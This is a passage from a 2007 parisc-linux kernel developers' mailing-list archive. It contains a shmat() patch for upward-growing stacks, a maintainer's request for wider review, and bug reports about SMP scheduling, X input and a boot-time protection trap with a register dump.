	Thu, 11 Jan 2007 12:16:02 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id D89D87D947
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Jan 2007 12:16:01 -0700 (MST)
Original-Received: (qmail invoked by alias); 11 Jan 2007 19:16:00 -0000
Original-Received: from mnhm-590c29aa.pool.einsundeins.de (EHLO p100.box) [89.12.41.170]
	by mail.gmx.net (mp018) with SMTP; 11 Jan 2007 20:16:00 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xb6VcU0yX1VpCOuYY2FyXTh3SDc4NExc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24237

I think this patch for the shmat() is obviously correct for our stack (which grows up).
Basically we gain a small region of 4 Pages in which shmat() may map memory.

Ok ?
If yes, should I commit or send to linux-kernel mailing list ?

Helge

diff --git a/ipc/shm.c b/ipc/shm.c
index 6d16bb6..f5cc635 100644
--- a/ipc/shm.c
+++ b/ipc/shm.c
@@ -852,6 +852,7 @@ long do_shmat(int shmid, char __user *sh
 		user_addr = ERR_PTR(-EINVAL);
 		if (find_vma_intersection(current->mm, addr, addr + size))
 			goto invalid;
+#ifndef CONFIG_STACK_GROWSUP
 		/*
 		 * If shm segment goes below stack, make sure there is some
 		 * space left for the stack to grow (at least 4 pages).
@@ -859,6 +860,7 @@ long do_shmat(int shmid, char __user *sh
 		if (addr < current->mm->start_stack &&
 		    addr > current->mm->start_stack - size - PAGE_SIZE * 5)
 			goto invalid;
+#endif
 	}
 		
 	user_addr = (void*) do_mmap (file, addr, size, prot, flags, 0);
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] shmat() and CONFIG_STACK_GROWSUP
Date: Thu, 11 Jan 2007 14:42:08 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <20070111194208.GB3699__44802.2375036546$1416624261$gmane$org@athena.road.mcmartin.ca>
References: <200701112015.58821.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624261 22449 80.91.229.3 (22 Nov 2014 02:44:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Jan 2007 19:42:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx001) with SMTP; 11 Jan 2007 20:42:38 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0539A7D98E;
	Thu, 11 Jan 2007 12:42:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13961-06; Thu, 11 Jan 2007 12:42:34 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 02E837D8C0;
	Thu, 11 Jan 2007 12:42:34 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ABE9F7D978
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Jan 2007 12:42:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13959-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Jan 2007 12:42:28 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 1773D7D8C0
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Jan 2007 12:42:28 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 45A66584095
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Jan 2007 14:42:27 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id C7B4D584090
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Jan 2007 14:42:26 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 6BE5D837DC
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Jan 2007 14:42:26 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 2F1373B06E; Thu, 11 Jan 2007 14:42:09 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <200701112015.58821.deller@gmx.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fOfDNUAaZCEXX7GPamwhjVFwIGhpZQY1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24238

On Thu, Jan 11, 2007 at 08:15:58PM +0100, Helge Deller wrote:
> I think this patch for the shmat() is obviously correct for our stack (which grows up).
> Basically we gain a small region of 4 Pages in which shmat() may map memory.
> 
> Ok ?
> If yes, should I commit or send to linux-kernel mailing list ?
> 

The latter please, I don't feel comfortable merging such things before they
have had discussion somewhere. You can commit it too, but please make sure it
gets sent to linux-kernel.

Thanks,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sshd triggers Protection id trap
Date: Fri, 12 Jan 2007 18:50:29 +0000
Lines: 28
Approved: news@gmane.org
Message-ID: <45A7D875.9050309__27598.801154136$1416624261$gmane$org@scarlet.be>
References: <20070109034731.GD1065@athena.road.mcmartin.ca>	<200701100205.l0A25XjX006906@hiauly1.hia.nrc.ca>
	<20070110222146.GD29244@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624261 22454 80.91.229.3 (22 Nov 2014 02:44:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:21 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org,
 T-Bone@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jan 2007 18:51:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx088) with SMTP; 12 Jan 2007 19:51:14 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 816687D920;
	Fri, 12 Jan 2007 11:51:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22688-06; Fri, 12 Jan 2007 11:51:09 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 726ED7D919;
	Fri, 12 Jan 2007 11:51:08 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 88BE97D91E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Jan 2007 11:51:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22688-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Jan 2007 11:51:03 -0700 (MST)
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by free.linux.hp.com (Postfix) with ESMTP id 514187D919
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Jan 2007 11:51:02 -0700 (MST)
Original-Received: from (ip-213-49-74-219.dsl.scarlet.be [213.49.74.219])
	by weequay.is.scarlet.be  with ESMTP id l0CIoUT22601;
	Fri, 12 Jan 2007 19:50:30 +0100
User-Agent: Icedove 1.5.0.9 (X11/20061220)
In-Reply-To: <20070110222146.GD29244@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xbzPCBIabHIyX63NNjQ0QWgqJihyatDK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24239



Grant Grundler wrote:
> On Tue, Jan 09, 2007 at 09:05:33PM -0500, John David Anglin wrote:
>> I think all the hung processes aren't being scheduled.  strace shows
>> nothing and evertime I attach with gdb the processes are always at
>> exactly the same place.  It's killing the thread manager process that
>> crashes the system.  The others can be killed.
> 
> Running "make -j4" on a 2-way machine with 2.6.20-rc3, top shows
> processes being scheduled only on CPU 0. CPU 1 is always idle.
> This was reproducible with 2.6.20-rc[23] on a500 and rp3440.
the same with 2.6.20-rc4 with 32bit smp kernel on a d380.

> I've verified this bug doesn't exist on 2.6.17-pa6.
> I need to retest with something more recent (ie 2.6.19).
> 
mmm, some time ago it was easy to grab those src thanks to "Source Tarballs" but today how may I grab it from git?


Tia,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] killing a set of user processes causes system
Date: Sun, 14 Jan 2007 12:50:36 -0500 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <200701141750.l0EHobDI012624__33376.796966377$1416624262$gmane$org@hiauly1.hia.nrc.ca>
References: <200612202237.46357.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624262 22455 80.91.229.3 (22 Nov 2014 02:44:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: deller@gmx.de (Helge Deller)
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Jan 2007 17:50:40 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx079) with SMTP; 14 Jan 2007 18:50:40 +0100
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l0EHocaE012625;
	Sun, 14 Jan 2007 12:50:38 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l0EHobDI012624;
	Sun, 14 Jan 2007 12:50:37 -0500 (EST)
In-Reply-To: <200612202237.46357.deller@gmx.de> from "Helge Deller" at Dec 20, 2006 10:37:45 pm
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HxjDdms1eWU3WK2TZm9nmD4rL0tsZk1N
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24240

> > Also, X is broken again.  It seems the card is outputing at higher

> I'll look into this when I find time, but compiling X is not my favorite task :-)

As of yesterday (xserver-xorg 7.1.0-10), the frame buffer and mouse
were working again.  However, keyboard input doesn't work.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:35:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sshd triggers Protection id trap
Date: Mon, 15 Jan 2007 01:08:26 +0100
Lines: 81
Approved: news@gmane.org
Message-ID: <7d01f9f00701141608t3af1fab5nd8819dea889cf956__33127.5820419707$1416624262$gmane$org@mail.gmail.com>
References: <20070109034731.GD1065@athena.road.mcmartin.ca>
	<200701100205.l0A25XjX006906@hiauly1.hia.nrc.ca>
	<20070110222146.GD29244@colo.lackof.org> <45A7D875.9050309@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624262 22457 80.91.229.3 (22 Nov 2014 02:44:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:22 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: "Joel Soete" <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jan 2007 00:08:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx019) with SMTP; 15 Jan 2007 01:08:50 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 96AD67D857;
	Sun, 14 Jan 2007 17:08:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16549-07; Sun, 14 Jan 2007 17:08:44 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 544607D7F0;
	Sun, 14 Jan 2007 17:08:42 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C1D027D7A8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Jan 2007 17:08:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16423-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Jan 2007 17:08:37 -0700 (MST)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.171])
	by free.linux.hp.com (Postfix) with ESMTP id DCB8C7D79A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Jan 2007 17:08:36 -0700 (MST)
Original-Received: by ug-out-1314.google.com with SMTP id c2so1327533ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Jan 2007 16:08:35 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=rgCopDnesMXRgqwU44D/6hD4ynwz7X0yiyKlySCJeGjfPkMF1wMI+L2w9FH0IMH3a+VZxJ0vCQJ+lRVnalSZgrOulsEKmgeemv03Ok6vQpvK2XCiAwHjGDsKqxObpp3x6+PTWto/6dTnhgrWg82qbDeZAW+sY1NNBNAvVwjfG6E=
Original-Received: by 10.78.118.19 with SMTP id q19mr2190786huc.1168819711124;
	Sun, 14 Jan 2007 16:08:31 -0800 (PST)
Original-Received: by 10.78.202.8 with HTTP; Sun, 14 Jan 2007 16:08:26 -0800 (PST)
In-Reply-To: <45A7D875.9050309@scarlet.be>
Content-Disposition: inline
X-Google-Sender-Auth: 72b4426dec77326a
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RKPYZUIaeSE5SL6WZHQh28B2IGRvbwDf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24241

I got one of those traps again today trying to boot git head on my rp3440:

Configuring network interfaces...done.
      _______________________________
     < Your System ate a SPARC! Gah! >
      -------------------------------
             \   ^__^
              \  (xx)\_______
                 (__)\       )\/\
                  U  ||----w |
                     ||     ||
sh (pid 625): Protection id trap (code 27)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111001100001111 Not tainted
r00-03  000000ff0804f30f 000000004060a340 0000000000000068 00000000fb199c10
r04-07  00000000405fd340 000000007eb24190 00000000000ded34 00000000000ded34
r08-11  0000000000000000 00000000000f2508 0000000000000000 0000000000000008
r12-15  0000000000000000 0000000000000000 00000000000f1f28 0000000000000001
r16-19  00000000000dd534 00000000000ad800 00000000000efa18 0000000000000000
r20-23  0000000000000000 0000000000000803 0000000000000000 000000007eb242b0
r24-27  0000000000000068 00000000fb199c10 000000000000001f 00000000405fd340
r28-31  0000000044c4f7c5 000000007eb242a0 000000007eb24480 00000000fb199c10
sr00-03  00000000002b2800 0000000000000000 00000000002b2800 00000000002b2800
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000402e62b0 00000000402e62b4
 IIR: 0f3692a8    ISR: 00000000002b2800  IOR: 00000000fb199c10
 CPU:        0   CR30: 000000007eb24000 CR31: 00000000405b4000
 ORIG_R28: 00000000405fd340
 IAOQ[0]: pa_memcpy+0x78/0x2b0
 IAOQ[1]: pa_memcpy+0x7c/0x2b0
 RP(r2): 0x68
Backtrace:

/etc/init.d/rc: line 77:   625 Segmentation fault      $@
Initializing random number generator...done.
tg3: eth0: Link is up at 1000 Mbps, full duplex.
tg3: eth0: Flow control is off for TX and off for RX.

That seems to have killed the boot process, I didn't get a login prompt

On 1/12/07, Joel Soete <soete.joel@scarlet.be> wrote:
>
>
> Grant Grundler wrote:
> > On Tue, Jan 09, 2007 at 09:05:33PM -0500, John David Anglin wrote:
> >> I think all the hung processes aren't being scheduled.  strace shows
> >> nothing and evertime I attach with gdb the processes are always at
> >> exactly the same place.  It's killing the thread manager process that
> >> crashes the system.  The others can be killed.
> >
> > Running "make -j4" on a 2-way machine with 2.6.20-rc3, top shows
> > processes being scheduled only on CPU 0. CPU 1 is always idle.
> > This was reproducible with 2.6.20-rc[23] on a500 and rp3440.
> the same with 2.6.20-rc4 with 32bit smp kernel on a d380.
>
> > I've verified this bug doesn't exist on 2.6.17-pa6.
> > I need to retest with something more recent (ie 2.6.19).
> >
> mmm, some time ago it was easy to grab those src thanks to "Source Tarballs" but today how may I grab it from git?
>
>
> Tia,
>         Joel
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>


-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sshd triggers Protection id trap
Date: Mon, 15 Jan 2007 01:16:00 +0100
Lines: 60
Approved: news@gmane.org
Message-ID: <7d01f9f00701141616y4e7726w4b7b59af0d270940__28014.9293518209$1416624262$gmane$org@mail.gmail.com>
References: <20070109034731.GD1065@athena.road.mcmartin.ca>
	<200701100205.l0A25XjX006906@hiauly1.hia.nrc.ca>
	<20070110222146.GD29244@colo.lackof.org> <45A7D875.9050309@scarlet.be>
	<7d01f9f00701141608t3af1fab5nd8819dea889cf956@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624262 22460 80.91.229.3 (22 Nov 2014 02:44:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:22 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: "Joel Soete" <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jan 2007 00:16:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx065) with SMTP; 15 Jan 2007 01:16:12 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 87E8A7D89B;
	Sun, 14 Jan 2007 17:16:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16822-08; Sun, 14 Jan 2007 17:16:09 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 746127D8B2;
	Sun, 14 Jan 2007 17:16:07 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
